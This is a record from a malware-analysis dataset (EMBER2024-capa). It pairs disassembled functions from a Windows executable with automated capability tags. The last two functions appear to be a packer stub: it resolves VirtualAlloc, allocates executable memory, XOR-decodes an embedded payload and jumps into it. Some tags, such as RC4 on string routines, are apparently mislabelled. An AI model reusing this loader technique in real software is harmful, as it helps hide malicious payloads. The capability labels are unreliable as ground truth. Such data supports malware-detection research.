joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140006c70
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbp
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0x20
lea rbp, [rsp + 0x20]
mov rax, rdx
mov rsi, qword [rbp + 0x70]
mov rdi, qword [rbp + 0x68]
mov rdx, qword [rbp + 0x60]
mov ebx, ecx
shr ebx, 8
lea r8, [rax + r8*2]
xor r11d, r11d
mov r15, rax
movzx r14d, byte [rax + 1]
add rax, 2
lea r10, [r11 + r14]
cmp byte [r15], bl
jne 0x140006cf0
cmp r11, r10
ja 0x140006d67
cmp r10, rdx
ja 0x140006d79
add r11, r9
xor r15d, r15d
nop dword [rax + rax]
cmp r14, r15
je 0x140006cf2
lea r12, [r15 + 1]
cmp byte [r11 + r15], cl
mov r15, r12
jne 0x140006cd0
jmp 0x140006d54
ja 0x140006cfa
mov r11, r10
cmp rax, r8
jne 0x140006c9e
add rsi, rdi
movzx ecx, cx
mov al, 1
nop word cs:[rax + rax]
lea r8, [rdi + 1]
movzx edx, byte [rdi]
test dl, dl
js 0x140006d30
mov rdi, r8
sub ecx, edx
jns 0x140006d4b
jmp 0x140006d56
cmp r8, rsi
je 0x140006d88
movzx r8d, byte [rdi + 1]
add rdi, 2
and edx, 0x7f
shl edx, 8
or edx, r8d
sub ecx, edx
js 0x140006d56
xor al, 1
cmp rdi, rsi
jne 0x140006d10
jmp 0x140006d56
xor eax, eax
and al, 1
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
pop rbp
ret
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r11
mov rdx, r10
call fcn.140029f00
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r10
call fcn.140029d50
lea rcx, str.librarycore_srcunicodeprintable.rs
call fcn.14002a000
int3
Function at 0x140007bb3
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x58
cmp byte [rcx + 0x79], 0
je 0x140007bc8
xor esi, esi
jmp 0x140007d75
mov rdi, rcx
mov rsi, qword [rcx + 0x48]
lea rax, [rcx + 8]
cmp qword [rcx], 0
je 0x140007c12
mov r9, qword [rdi + 0x50]
movups xmm0, xmmword [rdi + 0x58]
cmp qword [rdi + 0x38], 0xffffffffffffffff
sete byte [rsp + 0x30]
movups xmmword [rsp + 0x20], xmm0
lea rbx, [rsp + 0x40]
mov rcx, rbx
mov rdx, rax
mov r8, rsi
call fcn.140007d99
cmp qword [rbx], 0
jne 0x140007d43
jmp 0x140007d18
mov cl, byte [rdi + 0x1a]
mov r8, qword [rdi + 8]
mov rdx, qword [rdi + 0x50]
mov r9b, byte [rdi + 0x18]
test cl, cl
jne 0x140007d18
mov r10d, r9d
xor r10b, 1
mov byte [rdi + 0x18], r10b
test r8, r8
je 0x140007c50
cmp r8, rdx
jae 0x140007c4a
cmp byte [rsi + r8], 0xbf
jg 0x140007c50
jmp 0x140007d81
jne 0x140007d81
cmp r8, rdx
je 0x140007d0f
mov bl, byte [rsi + r8]
movzx r10d, bl
test r10b, r10b
jns 0x140007cc4
mov r11d, r10d
and r11d, 0x1f
movzx ebp, byte [rsi + r8 + 1]
and ebp, 0x3f
cmp r10b, 0xdf
jbe 0x140007cb1
movzx r10d, byte [rsi + r8 + 2]
shl ebp, 6
and r10d, 0x3f
or r10d, ebp
cmp bl, 0xf0
jb 0x140007cbd
movzx ebx, byte [rsi + r8 + 3]
and r11d, 7
shl r11d, 0x12
shl r10d, 6
and ebx, 0x3f
or ebx, r10d
or ebx, r11d
mov r10d, ebx
jmp 0x140007cc4
shl r11d, 6
or r11d, ebp
mov r10d, r11d
jmp 0x140007cc4
shl r11d, 0xc
or r10d, r11d
test r9b, r9b
jne 0x140007d36
cmp r10d, 0x110000
je 0x140007d14
mov r9d, 1
cmp r10d, 0x80
jb 0x140007d01
mov r9d, 2
cmp r10d, 0x800
jb 0x140007d01
cmp r10d, 0x10000
mov r9d, 4
sbb r9, 0
add r8, r9
mov qword [rax], r8
mov r9b, 1
jmp 0x140007c21
test r9b, r9b
jne 0x140007d39
mov byte [rdi + 0x1a], 1
cmp byte [rdi + 0x79], 0
jne 0x140007bc1
mov byte [rdi + 0x79], 1
cmp byte [rdi + 0x78], 0
je 0x140007d5d
mov rsi, qword [rdi + 0x68]
mov rdx, qword [rdi + 0x70]
jmp 0x140007d6e
mov rdx, r8
mov qword [rsp + 0x48], rdx
mov qword [rsp + 0x50], rdx
mov rdx, qword [rsp + 0x48]
mov rax, qword [rsp + 0x50]
mov rcx, qword [rdi + 0x68]
sub rdx, rcx
add rsi, rcx
mov qword [rdi + 0x68], rax
jmp 0x140007d75
mov rsi, qword [rdi + 0x68]
mov rdx, qword [rdi + 0x70]
cmp rdx, rsi
je 0x140007bc1
sub rdx, rsi
add rsi, qword [rdi + 0x48]
mov rax, rsi
add rsp, 0x58
pop rbx
pop rbp
pop rdi
pop rsi
ret
lea rax, str._rustc_129f3b9964af4d4a709d1383930ade12dfe7c081librarycore_src_strpattern.rs
mov qword [rsp + 0x20], rax
mov rcx, rsi
mov r9, rdx
call fcn.14002a140
int3
Function at 0x14000e4e0
Capabilities:
Encode data using xor

Disassembly:
push rbp
mov rbp, rsp
mov rax, rdx
sub rdx, rcx
cmp rdx, 0x20
jae 0x14000e505
cmp rax, rcx
je 0x14000e50b
cmp rdx, 4
jae 0x14000e512
xor eax, eax
xor r8d, r8d
jmp 0x14000e5b0
pop rbp
jmp fcn.140003f90
xor eax, eax
jmp 0x14000e5c7
mov r8d, edx
and r8d, 0x1c
pxor xmm0, xmm0
xor eax, eax
movdqa xmm2, xmmword [0x14002c5f0]
movdqa xmm3, xmmword [0x14002c600]
pxor xmm1, xmm1
nop word cs:[rax + rax]
movzx r9d, word [rcx + rax]
movd xmm4, r9d
movzx r9d, word [rcx + rax + 2]
movd xmm5, r9d
pcmpgtb xmm4, xmm2
punpcklbw xmm4, xmm4
pshuflw xmm4, xmm4, 0xd4
pshufd xmm4, xmm4, 0xd4
pand xmm4, xmm3
paddq xmm0, xmm4
pcmpgtb xmm5, xmm2
punpcklbw xmm5, xmm5
pshuflw xmm4, xmm5, 0xd4
pshufd xmm4, xmm4, 0xd4
pand xmm4, xmm3
paddq xmm1, xmm4
add rax, 4
cmp r8, rax
jne 0x14000e540
paddq xmm1, xmm0
pshufd xmm0, xmm1, 0xee
paddq xmm0, xmm1
movq rax, xmm0
cmp r8, rdx
je 0x14000e5c7
nop dword [rax]
xor r9d, r9d
cmp byte [rcx + r8], 0xc0
setge r9b
add rax, r9
inc r8
cmp rdx, r8
jne 0x14000e5b0
pop rbp
ret
Function at 0x140015da0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rsp + 0x20]
movzx r9d, byte [rdx + 0x38]
movzx eax, byte [rdx + 0x3a]
cmp al, byte [rax + r8*8 - 0x3f6af0bf]
cmp r9b, 1
ja 0x140015e26
test al, al
jne 0x140015dff
movzx esi, byte [rdx + 0x10]
lea eax, [rsi - 5]
cmp al, 1
ja 0x140015dff
mov r10, qword [rdx]
xor r8d, r8d
xor eax, eax

Function at 0x14001bc44
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.kernel32.dll_GetModuleHandleW]
test rax, rax
je 0x14001bc8e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14001bc8e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14001bc8e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14001bc8e
cmp dword [rcx + 0x84], 0xe
jbe 0x14001bc8e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14001bc90
xor al, al
add rsp, 0x28
ret

Function at 0x14001f308
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x14001f377
xor ecx, ecx
call qword [sym.imp.kernel32.dll_GetModuleHandleW]
test rax, rax
je 0x14001f377
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14001f377
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14001f377
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14001f377
cmp dword [rcx + 0x84], 0xe
jbe 0x14001f377
cmp dword [rcx + 0xf8], 0
je 0x14001f377
mov ecx, ebx
call fcn.14001f428
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.14001f204
nop
cmp dword [rbp + 0x20], 0
je 0x14001f3c5
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.14001f3d0
int3
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 1]
jmp 0x14001f308

Function at 0x14001f50c
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14001f308
Function at 0x1400225cc
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.kernel32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x1400225fc
xor eax, eax
jmp 0x1400226bf
mov rbp, rbx
cmp word [rax], si
je 0x140022621
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x140022608
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x140022604
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.1400224ec
movsxd r14, eax
test eax, eax
jne 0x14002265f
mov rcx, rbx
call qword [sym.imp.kernel32.dll_FreeEnvironmentStringsW]
jmp 0x1400225f5
mov rcx, r14
call fcn.1400234a8
mov rdi, rax
test rax, rax
jne 0x140022678
xor ecx, ecx
call fcn.140020b4c
jmp 0x140022654
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.1400224ec
test eax, eax
jne 0x1400226a9
mov rcx, rdi
call fcn.140020b4c
jmp 0x1400226b3
xor ecx, ecx
call fcn.140020b4c
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.kernel32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x140025bb0
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.1400215bc
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x140025c3a
cmp byte [rbp - 0x21], r15b
je 0x140025c35
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x140025c70
call fcn.140023cb8
test eax, eax
jne 0x140025c5c
cmp byte [rbp - 0x21], r15b
je 0x140025c54
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x140025c70
cmp byte [rbp - 0x21], r15b
je 0x140025c6d
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.140020b9c
test eax, eax
jne 0x140025d10
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.1400215bc
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x140025caf
cmp byte [rbp - 0x21], r15b
je 0x140025ce4
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x140025ce4
call fcn.140023cb8
test eax, eax
jne 0x140025cd0
cmp byte [rbp - 0x21], r15b
je 0x140025cc9
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x140025ce4
cmp byte [rbp - 0x21], r15b
je 0x140025ce1
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.140020b9c
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x140025d10
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.kernel32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x140025d13
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x140025d21
mov rcx, rdi
call fcn.140020b4c
cmp byte [rbp + 0x3f], r15b
je 0x140025d30
mov rcx, qword [rbp + 0x27]
call fcn.140020b4c
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x140028c10
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140028c38
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x140028c38
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140018340
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
vmovdqu xmm4, xmmword [r9 - 0x80]
vmovdqu xmm2, xmmword [r11 + 0x20]
lea r13, [r10 - 1]
vmovups xmm15, xmmword [r9 - 0x70]
lea r12, [r9 - 0x60]
vpxor xmm9, xmm1, xmm4
add ebx, 0x6000000
jb 0x140018460
vpaddb xmm10, xmm1, xmm2
vpaddb xmm11, xmm10, xmm2
vpxor xmm10, xmm10, xmm4
vpaddb xmm12, xmm11, xmm2
vpxor xmm11, xmm11, xmm4
vpaddb xmm13, xmm12, xmm2
vpxor xmm12, xmm12, xmm4
vpaddb xmm14, xmm13, xmm2
vpxor xmm13, xmm13, xmm4
vpaddb xmm1, xmm14, xmm2
vpxor xmm14, xmm14, xmm4
jmp 0x1400183a0
vaesenc xmm9, xmm9, xmm15
vaesenc xmm10, xmm10, xmm15
vaesenc xmm11, xmm11, xmm15
vaesenc xmm12, xmm12, xmm15
vaesenc xmm13, xmm13, xmm15
vaesenc xmm14, xmm14, xmm15
vmovups xmm15, xmmword [r12]
lea r12, [r12 + 0x10]
dec r13d
jne 0x1400183a0
vmovdqu xmm3, xmmword [r12]
vaesenc xmm9, xmm9, xmm15
vpxor xmm4, xmm3, xmmword [rcx]
vaesenc xmm10, xmm10, xmm15
vpxor xmm5, xmm3, xmmword [rcx + 0x10]
vaesenc xmm11, xmm11, xmm15
vpxor xmm6, xmm3, xmmword [rcx + 0x20]
vaesenc xmm12, xmm12, xmm15
vpxor xmm8, xmm3, xmmword [rcx + 0x30]
vaesenc xmm13, xmm13, xmm15
vpxor xmm2, xmm3, xmmword [rcx + 0x40]
vaesenc xmm14, xmm14, xmm15
vpxor xmm3, xmm3, xmmword [rcx + 0x50]
lea rcx, [rcx + 0x60]
vaesenclast xmm9, xmm9, xmm4
vaesenclast xmm10, xmm10, xmm5
vaesenclast xmm11, xmm11, xmm6
vaesenclast xmm12, xmm12, xmm8
vaesenclast xmm13, xmm13, xmm2
vaesenclast xmm14, xmm14, xmm3
vmovups xmmword [rdx], xmm9
vmovups xmmword [rdx + 0x10], xmm10
vmovups xmmword [rdx + 0x20], xmm11
vmovups xmmword [rdx + 0x30], xmm12
vmovups xmmword [rdx + 0x40], xmm13
vmovups xmmword [rdx + 0x50], xmm14
lea rdx, [rdx + 0x60]
repz ret
vpshufb xmm6, xmm1, xmm0
vmovdqu xmm5, xmmword [r11 + 0x30]
vpaddd xmm10, xmm6, xmmword [r11 + 0x40]
vpaddd xmm11, xmm6, xmm5
vpaddd xmm12, xmm10, xmm5
vpshufb xmm10, xmm10, xmm0
vpaddd xmm13, xmm11, xmm5
vpshufb xmm11, xmm11, xmm0
vpxor xmm10, xmm10, xmm4
vpaddd xmm14, xmm12, xmm5
vpshufb xmm12, xmm12, xmm0
vpxor xmm11, xmm11, xmm4
vpaddd xmm1, xmm13, xmm5
vpshufb xmm13, xmm13, xmm0
vpxor xmm12, xmm12, xmm4
vpshufb xmm14, xmm14, xmm0
vpxor xmm13, xmm13, xmm4
vpshufb xmm1, xmm1, xmm0
vpxor xmm14, xmm14, xmm4
jmp 0x1400183a0

Function at 0x140025640
Capabilities:
Check if file exists

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x20
mov rdi, rdx
mov rsi, rcx
mov qword [rcx], 0
test rdx, rdx
je 0x140025687
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
mov rax, qword [rsi]
inc rax
cmp rax, 2
jae 0x1400256a1
lea rax, [rdi + 1]
cmp rax, 2
jb 0x14002567f
mov qword [rsi], rdi
call fcn.140057030
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov byte [rsi + 8], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
cmp rax, rdi
je 0x1400256b7
mov rax, rsi
add rsp, 0x20
pop rbx
pop rdi
pop rsi
ret
call fcn.140057030
mov rcx, qword [rsi]
int3
int3
Function at 0x1400281b0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x48
mov rsi, rdx
mov rdi, rcx
mov rax, qword [0x1400fc028]
xor rax, rsp
mov qword [rsp + 0x40], rax
mov rax, qword [rcx]
mov r8, qword [rcx + 8]
cmp r8, 2
jb 0x140028318
cmp word [rax + 2], 0x3a
jne 0x140028318
movzx ecx, word [rax]
and ecx, 0xffffffdf
add ecx, 0xffffffbf
cmp cx, 0x1a
jae 0x140028318
mov r14d, 2
xor edx, edx
mov rcx, qword [rsi]
mov r9, qword [rsi + 8]
cmp r9, 2
jb 0x1400282f4
cmp word [rcx + 2], 0x3a
jne 0x1400282f4
movzx r10d, word [rcx]
and r10d, 0xffffffdf
add r10d, 0xffffffa5
cmp r10w, 0xffe6
setae r10b
not dl
test dl, r10b
je 0x1400282f4
cmp r8, r14
cmovae r8, r14
cmp r9, 2
mov r10d, 2
cmovb r10, r9
lea rdx, [rsp + 0x30]
mov qword [rdx], rcx
mov qword [rdx + 8], r10
lea rcx, [rsp + 0x20]
mov qword [rcx], rax
mov qword [rcx + 8], r8
mov r8d, 1
call fcn.14005bb10
test al, al
je 0x1400282b0
mov rax, qword [rdi + 8]
cmp rax, r14
jb 0x140028322
sub rax, r14
js 0x140028325
mov rcx, qword [rsi + 8]
cmp rcx, 1
jbe 0x140028328
add rcx, 0xfffffffffffffffe
js 0x14002832b
cmp rax, rcx
je 0x1400282cb
xor ebx, ebx
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.140073dd0
mov eax, ebx
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop r14
ret
mov bl, 1
test rax, rax
je 0x1400282b2
add r14, r14
add r14, qword [rdi]
mov rcx, qword [rsi]
xor edx, edx
movzx r8d, word [r14 + rdx*2]
cmp r8w, word [rcx + rdx*2 + 4]
jne 0x1400282b0
inc rdx
cmp rax, rdx
jne 0x1400282dd
jmp 0x1400282b2
cmp r8, r9
jne 0x1400282b0
mov bl, 1
test r8, r8
je 0x1400282b2
xor edx, edx
movzx r9d, word [rax + rdx*2]
cmp r9w, word [rcx + rdx*2]
jne 0x1400282b0
inc rdx
cmp r8, rdx
jne 0x140028302
jmp 0x1400282b2
mov dl, 1
xor r14d, r14d
jmp 0x140028205
int3
int3
int3
int3

Function at 0x14002fac0
Capabilities:
Get common file path

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x278
mov rsi, rcx
mov rax, qword [0x1400fc028]
xor rax, rsp
mov qword [rsp + 0x270], rax
lea rbx, [rsp + 0x60]
mov r8d, 0x20a
mov rcx, rbx
mov dl, 0xaa
call fcn.140075f10
mov ecx, 0x104
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
mov edi, eax
dec edi
cmp edi, 0x102
ja 0x14002fb5f
lea r14, [rsp + 0x20]
mov qword [r14], rbx
mov rcx, rbx
call fcn.14008d6b8
mov qword [r14 + 8], rax
lea rbx, [rsp + 0x30]
mov rcx, rbx
mov rdx, r14
int3
cmp edi, 0x103
setb bl
mov rcx, qword [rsp + 0x270]
xor rcx, rsp
call fcn.140073dd0
mov eax, ebx
add rsp, 0x278
pop rbx
pop rdi
pop rsi
pop r14
ret
Function at 0x140041e90
Capabilities:
Get thread local storage value

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x20
mov rdi, rdx
mov rsi, rcx
mov ecx, dword [0x14010b728]
cmp ecx, 0xffffffff
je 0x140041eb2
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test al, 3
jne 0x140041eb7
call fcn.140041fd0
mov eax, dword [0x140115f50]
mov ecx, dword [0x14010b81c]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
cmp eax, dword [rcx + 4]
jg 0x140041f67
mov rbx, qword [0x140115f48]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_TryAcquireSRWLockExclusive]
test al, al
je 0x140041fad
mov rax, qword [0x140114730]
inc rax
xor ecx, ecx
lea rdx, [0x140114740]
lea r8d, [rax + rcx]
movzx r8d, r8b
lea r9, [r8 + r8*2]
cmp dword [rdx + r9*8], 0
jne 0x140041fba
lea rax, [rdx + r9*8]
mov dword [rax], 1
mov qword [rax + 8], rdi
mov ecx, dword [0x140115f40]
inc ecx
mov dword [0x140115f40], ecx
mov dword [rax + 0x14], ecx
mov qword [0x140114730], r8
mov qword [rsi], r8
mov eax, dword [rax + 0x10]
mov dword [rsi + 8], eax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ReleaseSRWLockExclusive]
cmp qword [rsi], 0x100
jae 0x140041fcc
add rsp, 0x20
pop rbx
pop rdi
pop rsi
ret
lea rcx, [0x140115f50]
int3
mov rcx, rbx
call sub.KERNEL32.dll_AcquireSRWLockExclusive
jmp 0x140041ef4
inc rcx
cmp rcx, 0x100
jne 0x140041f07
jmp 0x140041f4d
int3

Function at 0x140042100
Capabilities:
Get thread local storage value

Disassembly:
push rsi
push rdi
sub rsp, 0x28
mov rdi, rdx
mov rsi, rcx
mov ecx, dword [0x14010b728]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
and rax, 0xfffffffffffffffc
je 0x14004213e
mov rcx, qword [rsi]
shl rcx, 4
mov qword [rax + rcx], rdi
mov ecx, dword [rsi + 8]
mov rdx, qword [rsi]
shl rdx, 4
mov dword [rax + rdx + 8], ecx
add rsp, 0x28
pop rdi
pop rsi
ret
test rdi, rdi
je 0x140042137
call fcn.140041fd0
jmp 0x14004211e

Function at 0x1400444a0
Capabilities:
Generate random numbers via rtlgenrandom

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x28
test rdx, rdx
je 0x1400444dc
mov rsi, rdx
mov rdi, rcx
mov r14d, 0xffffffff
cmp rsi, r14
mov ebx, 0xffffffff
cmovb rbx, rsi
mov rcx, rdi
mov edx, ebx
call sub.ADVAPI32.dll_SystemFunction036
test al, al
je 0x1400444e6
add rdi, rbx
sub rsi, rbx
jne 0x1400444ba
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret
int3
Function at 0x140068e30
Capabilities:
Get thread local storage value

Disassembly:
push rsi
sub rsp, 0x20
mov rsi, rcx
mov ecx, dword [0x14010b728]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
and rax, 0xfffffffffffffffc
je 0x140068e64
mov rcx, qword [rsi]
shl rcx, 4
mov edx, dword [rax + rcx + 8]
cmp edx, dword [rsi + 8]
jne 0x140068e64
mov rax, qword [rax + rcx]
add rsp, 0x20
pop rsi
ret
xor eax, eax
jmp 0x140068e5e

Function at 0x14006ee80
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov eax, ecx
test r8, r8
je 0x14006eeab
xor ecx, ecx
lea r9, [0x1400eec80]
movzx r10d, al
movzx r11d, byte [rdx + rcx]
xor r11d, r10d
shr eax, 8
xor eax, dword [r9 + r11*4]
inc rcx
cmp r8, rcx
jne 0x14006ee90
ret

Function at 0x14007413d
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [rsp + 8]
and rdx, 0
dec rax
cmp word [rax], 0x5a4d
jne 0x14007415b
je 0x140074166
call 0x1400741b5
mov bl, 0xc7
lahf
pop rsi
jne 0x140074146
call 0x14007415e
mov ecx, edi
xor eax, 0x3c508b0b
mov edx, dword [rax + 0x3c]
cmp edx, 0x400
jae 0x140074146
sub rax, 0x48b5
add rdx, rax
add rdx, 0x48b5
add rax, 0x48b5
cmp word [rdx], 0x4550
jne 0x140074194
je 0x1400741d2
invalid
je 0x1400741e3
jne 0x140074146
lea rax, [0x14007406c]
sub rsp, 8
mov qword [rsp], rcx
mov rcx, 0xffffffffffff2810
add rcx, 0xd960
add rcx, rax
push rcx
xchg rcx, rax
add rsp, 8
mov rcx, qword [rsp - 8]
mov rcx, qword [rsp]
add rsp, 8
call rax
lodsd eax, dword [rsi]
push rbp
movabs byte [0x894808ec8348c391], al
sub al, 0x24
mov rbp, rsp
mov qword [rsp - 8], 0
ret
add byte [rax], al
add byte [rax], al
sub rsp, 8
pop rax
add rax, rcx
sub rsp, 0x1e0
sub rsp, 0x20
and spl, 0xf0
mov byte [rbp - 0xd], 0x56
mov byte [rbp - 0xc], 0x69
mov byte [rbp - 0xb], 0x72
mov byte [rbp - 0xa], 0x74
mov byte [rbp - 9], 0x75
mov byte [rbp - 8], 0x61
mov byte [rbp - 7], 0x6c
mov byte [rbp - 6], 0x41
mov byte [rbp - 5], 0x6c
mov byte [rbp - 4], 0x6c
mov byte [rbp - 3], 0x6f
mov byte [rbp - 2], 0x63
mov byte [rbp - 1], 0
mov qword [rsp - 8], rsi
sub rsp, 8
add rsp, 8
mov rcx, qword [rsp - 8]
lea rdx, [rbp - 0xd]
call rax
sub rsp, 8
mov qword [rsp], 0
add rsp, 8
mov rcx, qword [rsp - 8]
mov rdx, 0x61be
mov r8, 0x3000
mov r9, 0x40
call rax
mov rcx, 0x4615
lea r9, [0x14006fdcd]
dec rcx
mov dl, byte [r9 + rcx]
mov byte [rax + rcx], dl
test rcx, rcx
jne 0x140074284
mov rcx, 0x3fe0
mov r9d, 0x15c13
mov r10d, 0x92819200
dec rcx
mov dl, byte [rax + rcx]
xor dl, r9b
mov byte [rax + rcx], dl
sub r10d, 0x26fe2
add r9d, r10d
add r9d, 0x26fe2
add r10d, 0x26fe2
rol r9d, 1
test rcx, rcx
jne 0x1400742dd
je 0x1400742e3
call 0x1400742d4
fild qword [rdi - 0x7c]
jmp 0x174fb0a56
jne 0x1400742a6
xor al, 1
add byte [rbp - 0x7f], dh
jne 0x140074266
add rax, 0x1ed4
mov rsp, rbp
pop rbp
ret
Function at 0x140074150
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [rsp + 8]
and rdx, 0
dec rax
cmp word [rax], 0x5a4d
jne 0x14007415b
je 0x140074166
call 0x1400741b5
mov bl, 0xc7
lahf
pop rsi
jne 0x140074146
call 0x14007415e
mov ecx, edi
xor eax, 0x3c508b0b
mov edx, dword [rax + 0x3c]
cmp edx, 0x400
jae 0x140074146
sub rax, 0x48b5
add rdx, rax
add rdx, 0x48b5
add rax, 0x48b5
cmp word [rdx], 0x4550
jne 0x140074194
je 0x1400741d2
invalid
je 0x1400741e3
jne 0x140074146
lea rax, [0x14007406c]
sub rsp, 8
mov qword [rsp], rcx
mov rcx, 0xffffffffffff2810
add rcx, 0xd960
add rcx, rax
push rcx
xchg rcx, rax
add rsp, 8
mov rcx, qword [rsp - 8]
mov rcx, qword [rsp]
add rsp, 8
call rax
lodsd eax, dword [rsi]
push rbp
movabs byte [0x894808ec8348c391], al
sub al, 0x24
mov rbp, rsp
